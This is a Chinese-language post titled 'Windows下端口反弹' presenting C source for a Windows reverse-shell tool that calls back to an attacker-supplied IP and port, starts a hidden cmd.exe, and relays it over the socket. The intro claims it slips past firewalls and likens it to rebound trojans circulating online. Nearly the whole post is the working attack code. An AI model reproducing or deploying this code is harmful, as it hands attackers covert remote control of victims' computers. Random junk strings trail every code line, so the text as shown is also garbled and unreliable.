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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zN4OrG 0  
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/* ============================== jmM|on!  
Rebound port in Windows NT 6Dq4Q|C  
By wind,2006/7 #.bW9j/  
===============================*/ $"^K~5Q  
#include qos7u91z  
#include fGo4&( U  
/~[Lr   
#pragma comment(lib,"wsock32.lib") $<^t][{  
Dm>"c;2  
void OutputShell(); IU%|K~_n  
SOCKET sClient; fd\RS1[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ):D"L C  
iQwQ5m!d &  
void main(int argc,char **argv) yGZsNd {a&  
{ OU[<\d  
WSADATA stWsaData; *U?O4E9  
int nRet; NB"S ,\M0  
SOCKADDR_IN stSaiClient,stSaiServer; HGDrH   
l90mM'[  
if(argc != 3) 200yN+ec  
{ k9^Hmhjw  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0s#72}n  
return; ,5}U H  
} B`5<sW  
g`7XE  
WSAStartup(MAKEWORD(2,2),&stWsaData); "F<CGSo  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Aw o)a8e  
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stSaiClient.sin_family = AF_INET; 1o_kY"D<  
stSaiClient.sin_port = htons(0); BM%wZ: s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h+f>#O+:  
0B NLTRv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) > VG  
{ H",B[ YK  
printf("Bind Socket Failed!\n"); _'u]{X\k{J  
return; EdJL&*  
} bLgH3[{  
/:&!o2&1H  
stSaiServer.sin_family = AF_INET; l>?c AB[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p*Bty@CRi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hRcb}>pr  
c?p^!zG  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U@lc 1#  
{ NR{wq|"  
printf("Connect Error!"); &1xCPKIr  
return; xvr5$x|h  
} 9(CvGzco <  
OutputShell(); |y\Km  
} (!os &/",  
lq/2Y4LE)  
void OutputShell() 5Wt){rG0Z  
{ pm&TH d  
char szBuff[1024]; Ac7^JXh%  
SECURITY_ATTRIBUTES stSecurityAttributes; kX 1}/l  
OSVERSIONINFO stOsversionInfo; IUcL*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NWBYpGZx  
STARTUPINFO stStartupInfo; GXNf@&  
char *szShell; "n-'?W!  
PROCESS_INFORMATION stProcessInformation; S;Bk/\2  
unsigned long lBytesRead; y}Ky<%A!P  
n\#YGL<n  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 29R-Up!SVN  
W L$^B@gXQ  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); INZVe(z  
stSecurityAttributes.lpSecurityDescriptor = 0; (JhX:1  
stSecurityAttributes.bInheritHandle = TRUE; N0U/u'J!g  
#Ondhy%h[  
)Nv1_en<!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VSj!Gm0LB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~xH&"1  
+Q*`kg'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7p&jSOY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XX;4A  
stStartupInfo.wShowWindow = SW_HIDE; 30Yis_l2h  
stStartupInfo.hStdInput = hReadPipe; bdUPo+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "}]`64?  
# kI>  
GetVersionEx(&stOsversionInfo); _B4&Fb.  
GN.O a$  
switch(stOsversionInfo.dwPlatformId) X>%nzY]m  
{ 3P>gDQP  
case 1: _`$LdqgE  
szShell = "command.com";  )vr@:PE  
break; j)1yv.  
default: uGKjZi  
szShell = "cmd.exe"; e5h*GKF  
break; .u`[|: K  
} q!K :N?  
D-3[# ~MV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |Td+,>,  
ejRK-!  
send(sClient,szMsg,77,0); ajbe7#}  
while(1) ijI/z5  
{ k15vs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &{iC:zp  
if(lBytesRead) 3KLUH=)P  
{ z*Sm5i&)_q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _MBa&XEM  
send(sClient,szBuff,lBytesRead,0); `h}eP[jA  
} yu?5t?vf  
else XGlt^<`  
{ Fc[KIG3@  
lBytesRead=recv(sClient,szBuff,1024,0); $o"nTl  
if(lBytesRead<=0) break; k<1yv$/mW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QWmE:F[M~  
} O9gq <d  
} ;rh.6Dl  
A'qe2]  
return; VFT@Ic#]  
}
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